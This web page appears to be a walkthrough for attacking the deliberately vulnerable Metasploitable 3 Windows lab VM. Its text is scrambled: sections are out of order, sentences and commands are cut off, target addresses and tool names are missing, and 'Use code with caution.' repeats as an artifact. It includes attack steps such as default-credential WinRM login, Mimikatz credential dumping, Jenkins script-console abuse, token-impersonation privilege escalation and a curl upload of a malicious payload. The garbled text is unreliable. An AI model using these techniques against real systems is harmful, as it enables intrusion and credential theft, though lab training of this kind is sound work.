Metasploitable 3 Windows Walkthrough [extra Quality]

SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege . If enabled, you can easily abuse these using tools like or PrintSpoofer . Unquoted Service Paths.

Once you find a valid account (e.g., vagrant / vagrant ), authenticate remotely via WinRM using evil-winrm : evil-winrm -i -u vagrant -p vagrant Use code with caution. Phase 3: Local Privilege Escalation

set RHOSTS set RPORT 8020 set LHOST Use code with caution.

Metasploitable 3 is more than just a target; it’s a masterclass in how modern Windows environments are structured and where they typically fail. By building it yourself and walking through these exploits, you gain a deep understanding of both the "how" and the "why" of cybersecurity. Happy hacking—stay ethical!

Comprehensive Metasploitable 3 Windows Walkthrough: Exploiting the Vulnerable VM (2026 Edition) metasploitable 3 windows walkthrough

: Type exploit to launch the attack and drop into a Meterpreter session.

The fastest way to get started is to use a pre-built Vagrant box. This skips the long build process and launches the VM directly.

Assuming your attacking machine (Kali Linux) and Metasploitable 3 are on the same host-only or NAT network, identify the target IP address and run an aggressive Nmap service scan. nmap -p- -sV -sC -T4 Use code with caution. -p- : Scans all 65,535 TCP ports. -sV : Determines service and version information. -sC : Runs default Nmap Object Model (NSE) scripts. -T4 : Speeds up execution for lab environments. Expected Open Ports

Jenkins is an automation server. In Metasploitable 3, the Groovy script console is left unprotected, which allows arbitrary command execution. Open your browser and navigate to https://10.0.2.15:8443 . Click on -> Script Console . SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege

Use Mimikatz through Meterpreter to extract plaintext credentials and password hashes from memory: meterpreter > load kiwi meterpreter > creds_all Use code with caution. Establishing Persistence via WinRM

If you gain a low-privileged shell (e.g., via the web server), you must escalate privileges. Local Enumeration whoami /priv to check for enabled tokens like SeImpersonatePrivilege JuicyPotato SeImpersonatePrivilege

Metasploitable instances often reuse default or weak credentials (e.g., username sa with password sa or blank). 3. Exploitation Strategies (Gaining Access)

The module will return a list of potential kernel vulnerabilities, such as ms16_032_secondary_logon_handle or ms15_051_client_copy_image . Exploiting Named Pipe Impersonation (Token Theft) Once you find a valid account (e

curl -X PUT http://TARGET_IP:8585/uploads/shell.txt -d "@malicious_payload.exe" Use code with caution.

Building Metasploitable 3 requires building the virtual machine from source, which requires significant system resources (4.5 GB+ RAM, 65 GB+ disk space) and software. 1.1 Prerequisites

Once you've mastered the basics, Metasploitable 3 has a lot more to offer. The environment intentionally includes vulnerable web applications for practicing SQL injection, command injection, and deserialization attacks. It also has a built-in Capture The Flag (CTF) component with flags of varying difficulties, which is invaluable for structured security training.